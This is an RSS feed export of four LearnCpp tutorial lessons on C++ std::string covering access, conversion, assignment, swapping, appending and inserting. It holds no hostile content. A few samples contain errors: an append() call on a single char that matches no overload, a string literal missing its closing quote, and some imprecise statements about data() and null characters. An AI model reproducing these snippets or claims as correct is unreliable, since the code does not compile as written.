<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Learn C++</title>
	
	<link>http://www.learncpp.com</link>
	<description />
	<lastBuildDate>Mon, 19 Jul 2010 06:46:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/LearnCpp" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="learncpp" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>17.7 — std::string inserting</title>
		<link>http://www.learncpp.com/cpp-tutorial/17-7-stdstring-inserting/</link>
		<comments>http://www.learncpp.com/cpp-tutorial/17-7-stdstring-inserting/#comments</comments>
		<pubDate>Mon, 19 Jul 2010 05:50:27 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[C++ Programming]]></category>
		<category><![CDATA[C++ Tutorial]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.learncpp.com/?p=462</guid>
		<description><![CDATA[Inserting
Inserting characters into an existing string can be done via the insert() function.



string&#038; string::insert (size_type index, const string&#038; str)
string&#038; string::insert (size_type index, const char* str)

Both functions insert the characters of str into the string at index
Both function return *this so they can be &#8220;chained&#8221;.
Both functions throw out_of_range if index is invalid
Both functions throw a length_error [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Inserting</strong></p>
<p>Inserting characters into an existing string can be done via the insert() function.</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::insert (size_type index, const string&#038; str)</b><br />
<b>string&#038; string::insert (size_type index, const char* str)</b></p>
<ul>
<li>Both functions insert the characters of str into the string at index
<li>Both function return *this so they can be &#8220;chained&#8221;.
<li>Both functions throw out_of_range if index is invalid
<li>Both functions throw a length_error exception if the result exceeds the maximum number of characters.
<li>In the C-style string version, str must not be NULL.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;aaaa&quot;);
cout &lt;&lt; sString &lt;&lt; endl;

sString.insert(2, string(&quot;bbbb&quot;));
cout &lt;&lt; sString &lt;&lt; endl;

sString.insert(4, &quot;cccc&quot;);
cout &lt;&lt; sString &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
aaaa
aabbbbaa
aabbccccbbaa
</pre>
</td>
</tr>
</table>
<p></p>
<p>Here&#8217;s a crazy version of insert() that allows you to insert a substring into a string at an arbitrary index:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::insert (size_type index, const string&#038; str, size_type startindex, size_type num)</b></p>
<ul>
<li>This function inserts num characters str, starting from startindex, into the string at index.
<li>Returns *this so it can be &#8220;chained&#8221;.
<li>Throws an out_of_range if index or startindex is out of bounds
<li>Throws a length_error exception if the result exceeds the maximum number of characters.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;aaaa&quot;);

const string sInsert(&quot;01234567&quot;);
sString.insert(2, sInsert, 3, 4); // insert substring of sInsert from index [3,7) into sString at index 2
cout &lt;&lt; sString &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
aa3456aa
</pre>
</td>
</tr>
</table>
<p></p>
<p>There is a flavor of insert() that inserts the first portion of a C-style string:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::insert(size_type index, const char* str, size_type len)</b></p>
<ul>
<li>Inserts len characters of str into the string at index
<li>Returns *this so it can be &#8220;chained&#8221;.
<li>Throws an out_of_range exception if the index is invalid
<li>Throws a length_error exception if the result exceeds the maximum number of characters.
<li>Ignores special characters (such as &#8216;\0&#8242;)
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;aaaa&quot;);

sString.insert(2, &quot;bcdef&quot;, 3);
cout &lt;&lt; sString &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
aabcdaa
</pre>
</td>
</tr>
</table>
<p></p>
<p>There&#8217;s also a flavor of insert() that inserts the same character multiple times:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::insert(size_type index, size_type num, char c)</b></p>
<ul>
<li>Inserts num instances of char c into the string at index
<li>Returns *this so it can be &#8220;chained&#8221;.
<li>Throws an out_of_range exception if the index is invalid
<li>Throws a length_error exception if the result exceeds the maximum number of characters.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;aaaa&quot;);

sString.insert(2, 4, 'c');
cout &lt;&lt; sString &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
aaccccaa
</pre>
</td>
</tr>
</table>
<p></p>
<p>And finally, the insert() function also has three different versions that use iterators:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>void insert(iterator it, size_type num, char c)</b><br />
<b>iterator string::insert(iterator it, char c)</b><br />
<b>void string::insert(iterator it, InputIterator begin, InputIterator end)</b></p>
<ul>
<li>The first function inserts num instances of the character c before the iterator it.
<li>The second inserts a single character c before the iterator it, and returns an iterator to the position of the character inserted.
<li>The third inserts all characters between [begin,end) before the iterator it.
<li>All functions throw a length_error exception if the result exceeds the maximum number of characters.
</ul>
</td>
</tr>
</table>
<p></p>
<table border=0 cellpadding=3>
<tr>
<td>
        <a href="" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/next.png" align=middle></a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/#Chapter17" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/up.png" align=middle> Index</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-programming/17-6-stdstring-appending/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/prev.png" align=middle> 17.6 &#8212; std::string appending</a>
</td>
</tr>
</table>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LearnCpp?a=Ht77mQVZrKU:tN6v72xHfRM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=Ht77mQVZrKU:tN6v72xHfRM:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=Ht77mQVZrKU:tN6v72xHfRM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=Ht77mQVZrKU:tN6v72xHfRM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=Ht77mQVZrKU:tN6v72xHfRM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=Ht77mQVZrKU:tN6v72xHfRM:F7zBnMyn0Lo" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.learncpp.com/cpp-tutorial/17-7-stdstring-inserting/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>17.6 — std::string appending</title>
		<link>http://www.learncpp.com/cpp-tutorial/17-6-stdstring-appending/</link>
		<comments>http://www.learncpp.com/cpp-tutorial/17-6-stdstring-appending/#comments</comments>
		<pubDate>Sun, 18 Jul 2010 23:35:17 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[C++ Programming]]></category>
		<category><![CDATA[C++ Tutorial]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.learncpp.com/?p=454</guid>
		<description><![CDATA[Appending
Appending strings to the end of an existing string is easy using either operator+=, append(), or push_back() function.



string&#038; string::operator+= (const string&#038; str)
string&#038; string::append (const string&#038; str)


Both functions append the characters of str to the string.
Both function return *this so they can be &#8220;chained&#8221;.
Both functions throw a length_error exception if the result exceeds the maximum number [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Appending</strong></p>
<p>Appending strings to the end of an existing string is easy using either operator+=, append(), or push_back() function.</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::operator+= (const string&#038; str)</b><br />
<b>string&#038; string::append (const string&#038; str)</b><br />
</p>
<ul>
<li>Both functions append the characters of str to the string.
<li>Both function return *this so they can be &#8220;chained&#8221;.
<li>Both functions throw a length_error exception if the result exceeds the maximum number of characters.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;one&quot;);

sString += string(&quot; two&quot;);

string sThree(&quot; three&quot;);
sString.append(sThree);

cout &lt;&lt; sString &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
one two three
</pre>
</td>
</tr>
</table>
<p></p>
<p>There&#8217;s also a flavor of append() that can append a substring:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::append (const string&#038; str, size_type index, size_type num)</b></p>
<ul>
<li>This function appends num characters from str, starting at index, to the string.
<li>Returns *this so it can be &#8220;chained&#8221;.
<li>Throws an out_of_range if index is out of bounds
<li>Throws a length_error exception if the result exceeds the maximum number of characters.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;one &quot;);

const string sTemp(&quot;twothreefour&quot;);
sString.append(sTemp, 3, 5); // append substring of sTemp starting at index 3 of length 5
cout &lt;&lt; sString &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
one three
</pre>
</td>
</tr>
</table>
<p></p>
<p>Operator+= and append() also have versions that work on C-style strings:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::operator+= (const char* str)</b><br />
<b>string&#038; string::append (const char* str)</b><br />
</p>
<ul>
<li>Both functions append the characters of str to the string.
<li>Both function return *this so they can be &#8220;chained&#8221;.
<li>Both functions throw a length_error exception if the result exceeds the maximum number of characters.
<li>str should not be NULL.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;one&quot;);

sString += &quot; two&quot;;
sString.append(&quot; three&quot;);
cout &lt;&lt; sString &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
one two three
</pre>
</td>
</tr>
</table>
<p></p>
<p>There is an additional flavor of append() that works on C-style strings:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::append (const char* str, size_type len)</b><br />
</p>
<ul>
<li>Appends the first len characters of str to the string.
<li>Returns *this so they can be &#8220;chained&#8221;.
<li>Throw a length_error exception if the result exceeds the maximum number of characters.
<li>Ignores special characters (including &#8216;\0&#8242;)
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;one&quot;);

sString.append(&quot;threefour&quot;, 5);
cout &lt;&lt; sString &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
one three
</pre>
<p>This function is dangerous and its use is not recommended.</p>
</td>
</tr>
</table>
<p></p>
<p>There is also a set of functions that append characters.  Note that the name of the non-operator function to append a character is push_back(), not append()!</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::operator+= (char c)</b><br />
<b>void string::push_back (char c)</b><br />
</p>
<ul>
<li>Both functions append the the character c to the string.
<li>Operator += returns *this so it can be &#8220;chained&#8221;.
<li>Both functions throw a length_error exception if the result exceeds the maximum number of characters.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;one&quot;);

sString += ' ';
sString.append('2');
cout &lt;&lt; sString &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
one 2
</pre>
<p>Now you might be wondering why the name of the function is push_back() and not append().  This follows a naming convention used for stacks, where push_back() is the function that adds a single item to the end of the stack.  If you envision a string as a stack of characters, using push_back() to add a single character to the end makes sense.  However, the lack of an append() function is inconsistent in my view!</p>
</td>
</tr>
</table>
<p></p>
<p>It turns out there is an append() function for characters, that looks like this:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::append (size_type num, char c)</b><br />
</p>
<ul>
<li>Adds num occurrences of the character c to the string
<li>Returns *this so it can be &#8220;chained&#8221;.
<li>Throws a length_error exception if the result exceeds the maximum number of characters.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString(&quot;aaa&quot;);

sString.append(4, 'b');
cout &lt;&lt; sString &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
aaabbbb
</pre>
</td>
</tr>
</table>
<p></p>
<p>There&#8217;s one final flavor of append() that you won&#8217;t understand unless you know what iterators are.  If you&#8217;re not familiar with iterators, you can ignore this function.</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::append (InputIterator start, InputIterator end)</b><br />
</p>
<ul>
<li>Appends all characters from the range [start, end) (including start up to but not including end)
<li>Returns *this so it can be &#8220;chained&#8221;.
<li>Throws a length_error exception if the result exceeds the maximum number of characters.
</ul>
</td>
</tr>
</table>
<p></p>
<table border=0 cellpadding=3>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/17-7-stdstring-inserting/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/next.png" align=middle>17.7 &#8212; std::string inserting</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/#Chapter17" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/up.png" align=middle> Index</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-programming/17-5-stdstring-assignment-and-swapping/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/prev.png" align=middle> 17.5 &#8212; std::string assignment and swapping</a>
</td>
</tr>
</table>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LearnCpp?a=jIoD98yfqtE:X7iFmGAUX84:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=jIoD98yfqtE:X7iFmGAUX84:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=jIoD98yfqtE:X7iFmGAUX84:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=jIoD98yfqtE:X7iFmGAUX84:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=jIoD98yfqtE:X7iFmGAUX84:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=jIoD98yfqtE:X7iFmGAUX84:F7zBnMyn0Lo" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.learncpp.com/cpp-tutorial/17-6-stdstring-appending/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>17.5 — std::string assignment and swapping</title>
		<link>http://www.learncpp.com/cpp-programming/17-5-stdstring-assignment-and-swapping/</link>
		<comments>http://www.learncpp.com/cpp-programming/17-5-stdstring-assignment-and-swapping/#comments</comments>
		<pubDate>Sun, 18 Jul 2010 22:21:25 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[C++ Programming]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.learncpp.com/?p=444</guid>
		<description><![CDATA[String assignment
The easiest way to assign a value to a string is to the use the overloaded operator= function.  There is also an assign() member function that duplicates some of this functionality.



string&#038; string::operator= (const string&#038; str)
string&#038; string::assign (const string&#038; str)
string&#038; string::operator= (const char* str)
string&#038; string::assign (const char* str)
string&#038; string::operator= (char c)


These functions assign values [...]]]></description>
			<content:encoded><![CDATA[<p><strong>String assignment</strong></p>
<p>The easiest way to assign a value to a string is to the use the overloaded operator= function.  There is also an assign() member function that duplicates some of this functionality.</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::operator= (const string&#038; str)</b><br />
<b>string&#038; string::assign (const string&#038; str)</b><br />
<b>string&#038; string::operator= (const char* str)</b><br />
<b>string&#038; string::assign (const char* str)</b><br />
<b>string&#038; string::operator= (char c)</b><br />
</p>
<ul>
<li>These functions assign values of various types to the string.
<li>These functions return *this so they can be &#8220;chained&#8221;.
<li>Note that there is no assign() function that takes a single char.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sString;

// Assign a string value
sString = string(&quot;One&quot;);
cout &lt;&lt; sString &lt;&lt; endl;

const string sTwo(&quot;Two&quot;);
sString.assign(sTwo);
cout &lt;&lt; sString &lt;&lt; endl;

// Assign a C-style string
sString = &quot;Three&quot;;
cout &lt;&lt; sString &lt;&lt; endl;

sString.assign(&quot;Four&quot;);
cout &lt;&lt; sString &lt;&lt; endl;

// Assign a char
sString = '5';
cout &lt;&lt; sString &lt;&lt; endl;

// Chain assignment
string sOther;
sString = sOther = &quot;Six&quot;;
cout &lt;&lt; sString &lt;&lt; &quot; &quot; &lt;&lt; sOther &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
One
Two
Three
Four
5
Six Six
</pre>
</td>
</tr>
</table>
<p></p>
<p>The assign() member function also comes in a few other flavors:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::assign (const string&#038; str, size_type index, size_type len)</b></p>
<ul>
<li>Assigns a substring of str, starting from index, and of length len
<li>Throws an out_of_range exception if the index is out of bounds
<li>Returns *this so it can be &#8220;chained&#8221;.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
const string sSource(&quot;abcdefg&quot;);
string sDest;

sDest.assign(sSource, 2, 4); // assign a substring of source from index 2 of length 4
cout &lt;&lt; sDest &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
cdef
</pre>
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::assign (const char* chars, size_type len)</b></p>
<ul>
<li>Assigns len characters from the C-style array chars
<li>Ignores special characters (including &#8216;\0&#8242;)
<li>Throws an length_error exception if the result exceeds the maximum number of characters
<li>Returns *this so it can be &#8220;chained&#8221;.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sDest;

sDest.assign(&quot;abcdefg&quot;, 4);
cout &lt;&lt; sDest &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
abcd
</pre>
<p>This function is potentially dangerous and it&#8217;s use is not recommended.</p>
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>string&#038; string::assign (size_type len, char c)</b></p>
<ul>
<li>Assigns len occurrences of the character c
<li>Throws an length_error exception if the result exceeds the maximum number of characters
<li>Returns *this so it can be &#8220;chained&#8221;.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sDest;

sDest.assign(4, 'g');
cout &lt;&lt; sDest &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
gggg
</pre>
</td>
</tr>
</table>
<p></p>
<p><strong>Swapping</strong></p>
<p>If you have two strings and want to swap their values, there are two functions both named swap() that you can use.</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>void string::swap (string &#038;str)</b><br />
<b>void swap (string &#038;str1, string &#038;str2)</b></p>
<ul>
<li>Both functions swap the value of the two strings.  The member function swaps *this and str, the global function swaps str1 and str2.
<li>These functions are efficient and should be used instead of assignments to perform a string swap.
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sStr1(&quot;red&quot;);
string sStr2(&quot;blue);

cout &lt;&lt; sStr1 &lt;&lt; &quot; &quot; &lt;&lt; sStr2 &lt;&lt; endl;
swap(sStr1, sStr2);
cout &lt;&lt; sStr1 &lt;&lt; &quot; &quot; &lt;&lt; sStr2 &lt;&lt; endl;
sStr1.swap(sStr2);
cout &lt;&lt; sStr1 &lt;&lt; &quot; &quot; &lt;&lt; sStr2 &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
red blue
blue red
red blue
</pre>
</td>
</tr>
</table>
<p></p>
<table border=0 cellpadding=3>
<tr>
<td>
        <a href="http://www.learncpp.com/uncategorized/17-6-stdstring-appending/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/next.png" align=middle> 17.6 &#8212; std::string appending</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/#Chapter17" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/up.png" align=middle> Index</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/17-4-stdstring-character-access-and-conversion-to-c-style-arrays/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/prev.png" align=middle> 17.4 &#8212; std::string character access and conversion to c-style strings</a>
</td>
</tr>
</table>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LearnCpp?a=60AF1v9oJKw:OSbgDRfx5Mo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=60AF1v9oJKw:OSbgDRfx5Mo:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=60AF1v9oJKw:OSbgDRfx5Mo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=60AF1v9oJKw:OSbgDRfx5Mo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=60AF1v9oJKw:OSbgDRfx5Mo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=60AF1v9oJKw:OSbgDRfx5Mo:F7zBnMyn0Lo" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.learncpp.com/cpp-programming/17-5-stdstring-assignment-and-swapping/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>17.4 — std::string character access and conversion to C-style arrays</title>
		<link>http://www.learncpp.com/cpp-tutorial/17-4-stdstring-character-access-and-conversion-to-c-style-arrays/</link>
		<comments>http://www.learncpp.com/cpp-tutorial/17-4-stdstring-character-access-and-conversion-to-c-style-arrays/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 17:54:58 +0000</pubDate>
		<dc:creator>Alex</dc:creator>
				<category><![CDATA[C++ Tutorial]]></category>

		<guid isPermaLink="false">http://www.learncpp.com/?p=432</guid>
		<description><![CDATA[Character access
There are two almost identical ways to access characters in a string.  The easier to use and faster version is the overloaded operator[]:



char&#038; string::operator[] (size_type nIndex)
const char&#038; string::operator[] (size_type nIndex) const

Both of these functions return the character with index nIndex
Passing an invalid index results in undefined behavior
Using length() as the index is valid [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Character access</strong></p>
<p>There are two almost identical ways to access characters in a string.  The easier to use and faster version is the overloaded operator[]:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>char&#038; string::operator[] (size_type nIndex)</b><br />
<b>const char&#038; string::operator[] (size_type nIndex) const</b></p>
<ul>
<li>Both of these functions return the character with index nIndex
<li>Passing an invalid index results in undefined behavior
<li>Using length() as the index is valid for const strings only, and returns the value generated by the string&#8217;s default constructor.  It is not recommended that you do this.
<li>Because char&#038; is the return type, you can use this to edit characters in the array
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sSource(&quot;abcdefg&quot;);
cout &lt;&lt; sSource[5] &lt;&lt; endl;
sSource[5] = 'X';
cout &lt;&lt; sSource &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
f
abcdeXg
</pre>
</td>
</tr>
</table>
<p></p>
<p>There is also a non-operator version.  This version is slower since it uses exceptions to check if the nIndex is valid.  If you are not sure whether nIndex is valid, you should use this version to access the array:</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>char&#038; string::at (size_type nIndex)</b><br />
<b>const char&#038; string::at (size_type nIndex) const</b></p>
<ul>
<li>Both of these functions return the character with index nIndex
<li>Passing an invalid index results in an out_of_range exception
<li>Because char&#038; is the return type, you can use this to edit characters in the array
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sSource(&quot;abcdefg&quot;);
cout &lt;&lt; sSource.at(5) &lt;&lt; endl;
sSource.at(5) = 'X';
cout &lt;&lt; sSource &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
f
abcdeXg
</pre>
</td>
</tr>
</table>
<p></p>
<p><strong>Conversion to C-style arrays</strong></p>
<p>Many functions (including all C functions) expect strings to be formatted as C-style strings rather than std::string.  For this reason, std::string provides 3 different ways to convert std::string to C-style strings.</p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>const char* string::c_str () const</b></p>
<ul>
<li>Returns the contents of the string as a const C-style string
<li>A null terminator is appended
<li>The C-style string is owned by the std::string and should not be deleted
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sSource(&quot;abcdefg&quot;);
cout &lt;&lt; strlen(sSource.c_str());
</pre>
<p>Output:</p>
<pre>
7
</pre>
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>const char* string::data () const</b></p>
<ul>
<li>Returns the contents of the string as a const C-style string
<li>A null terminator is <b>not</b> appended
<li>The C-style string is owned by the std::string and should not be deleted
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sSource(&quot;abcdefg&quot;);
char *szString = &quot;abcdefg&quot;;
// memcmp compares the first n characters of two C-style strings and returns 0 if they are equal
if (memcmp(sSource.data(), szString, sSource.length()) == 0)
    cout &lt;&lt; &quot;The strings are equal&quot;;
else
    cout &lt;&lt; &quot;The strings are not equal&quot;;
</pre>
<p>Output:</p>
<pre>
The strings are equal
</pre>
</td>
</tr>
</table>
<p></p>
<table border=1 cellspacing=0 cellpadding=3 width=100%>
<tr>
<td>
<b>size_type string::copy(char *szBuf, size_type nLength) const</b><br />
<b>size_type string::copy(char *szBuf, size_type nLength, size_type nIndex) const</b></p>
<ul>
<li>Both flavors copy at most nLength characters of the string to szBuf, beginning with character nIndex
<li>The number of characters copied is returned
<li>No null is appended.  It is up to the caller to ensure szBuf is initialized to NULL or terminate the string using the returned length
<li>The caller is responsible for not overflowing szBuf
</ul>
<p>Sample code:</p>
<pre class="brush: cpp;">
string sSource(&quot;sphinx of black quartz, judge my vow&quot;);

char szBuf[20];
int nLength = sSource.copy(szBuf, 5, 10);
szBuf[nLength]='&#92;&#48;';  // Make sure we terminate the string in the buffer

cout &lt;&lt; szBuf &lt;&lt; endl;
</pre>
<p>Output:</p>
<pre>
black
</pre>
</td>
</tr>
</table>
<p></p>
<p>Unless you need every bit of efficiency, c_str() is the easiest and safest of the three functions to use.</p>
<table border=0 cellpadding=3>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-programming/17-5-stdstring-assignment-and-swapping/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/next.png" align=middle> 17.5 &#8212; std:string assignment and swapping</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/#Chapter17" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/up.png" align=middle> Index</a>
</td>
</tr>
<tr>
<td>
        <a href="http://www.learncpp.com/cpp-tutorial/17-3-stdstring-length-and-capacity/" style="text-decoration:none"><img src="http://www.learncpp.com/images/CppTutorial/prev.png" align=middle> 17.3 &#8212; std::string length and capacity</a>
</td>
</tr>
</table>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/LearnCpp?a=LWZhHLSIuNc:T5J_Cy_sneY:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=LWZhHLSIuNc:T5J_Cy_sneY:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/LearnCpp?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=LWZhHLSIuNc:T5J_Cy_sneY:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=LWZhHLSIuNc:T5J_Cy_sneY:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/LearnCpp?a=LWZhHLSIuNc:T5J_Cy_sneY:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/LearnCpp?i=LWZhHLSIuNc:T5J_Cy_sneY:F7zBnMyn0Lo" border="0"></img></a>
</div>]]></content:encoded>
